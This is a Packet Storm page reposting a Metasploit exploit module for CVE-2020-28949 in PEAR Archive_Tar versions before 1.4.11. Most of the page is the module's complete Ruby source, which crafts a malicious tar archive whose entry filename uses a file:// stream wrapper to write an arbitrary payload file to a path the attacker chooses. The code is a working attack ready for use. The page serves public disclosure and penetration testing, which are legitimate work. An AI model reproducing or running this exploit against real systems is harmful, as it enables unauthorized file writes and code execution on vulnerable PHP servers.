exploit the possibilities

PEAR Archive_Tar Arbitrary File Write

PEAR Archive_Tar Arbitrary File Write
Posted Jan 25, 2021
Authored by gwillcox-r7, xorathustra | Site metasploit.com

This Metasploit module takes advantages of Archive_Tar versions prior to 1.4.11 which fail to validate file stream wrappers contained within filenames to write an arbitrary file containing user controlled content to an arbitrary file on disk. Note that the file will be written to disk with the permissions of the user that PHP is running as, so it may not be possible to overwrite some files if the PHP user is not appropriately privileged.

tags | exploit, arbitrary, php
advisories | CVE-2020-28949
MD5 | 7c33e20f3f1e07af9b1f4641460e7354

PEAR Archive_Tar Arbitrary File Write

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/tar'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PEAR Archive_Tar < 1.4.11 Arbitrary File Write',
'Description' => %q{
This module takes advantages of Archive_Tar < 1.4.11's lack of validation of file stream wrappers contained
within filenames to write an arbitrary file containing user controlled content to an arbitrary file
on disk. Note that the file will be written to disk with the permissions of the user that PHP is
running as, so it may not be possible to overwrite some files if the PHP user is not appropriately
privileged.
},
'License' => MSF_LICENSE,
'Author' =>
[
'gwillcox-r7', # Metasploit module
'xorathustra', # Original advisory and PoC
],
'References' =>
[
['URL', 'https://github.com/pear/Archive_Tar/issues/33'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949'],
['CVE', '2020-28949']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Archive_Tar < 1.4.11', {}]
],
'Privileged' => false,
'DisclosureDate' => '2020-11-17'
)
)

register_options([
OptString.new('FILEPATH', [true, 'The full path to the file to write on the target.', '/tmp/msf.php'])
])
end

def exploit
# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file "file://#{datastore['FILEPATH']}", 0o644 do |io|
io.write payload.encoded
end
end
tarfile.rewind
file_buffer = tarfile.read

print_status "Writing file: #{datastore['FILENAME']} (#{file_buffer.length} bytes) ..."
file_create file_buffer
end
end
Login or Register to add favorites

File Archive:

February 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    33 Files
  • 2
    Feb 2nd
    30 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    8 Files
  • 5
    Feb 5th
    11 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    1 Files
  • 8
    Feb 8th
    37 Files
  • 9
    Feb 9th
    15 Files
  • 10
    Feb 10th
    11 Files
  • 11
    Feb 11th
    26 Files
  • 12
    Feb 12th
    8 Files
  • 13
    Feb 13th
    1 Files
  • 14
    Feb 14th
    1 Files
  • 15
    Feb 15th
    9 Files
  • 16
    Feb 16th
    33 Files
  • 17
    Feb 17th
    6 Files
  • 18
    Feb 18th
    10 Files
  • 19
    Feb 19th
    20 Files
  • 20
    Feb 20th
    1 Files
  • 21
    Feb 21st
    1 Files
  • 22
    Feb 22nd
    17 Files
  • 23
    Feb 23rd
    15 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    28 Files
  • 26
    Feb 26th
    25 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close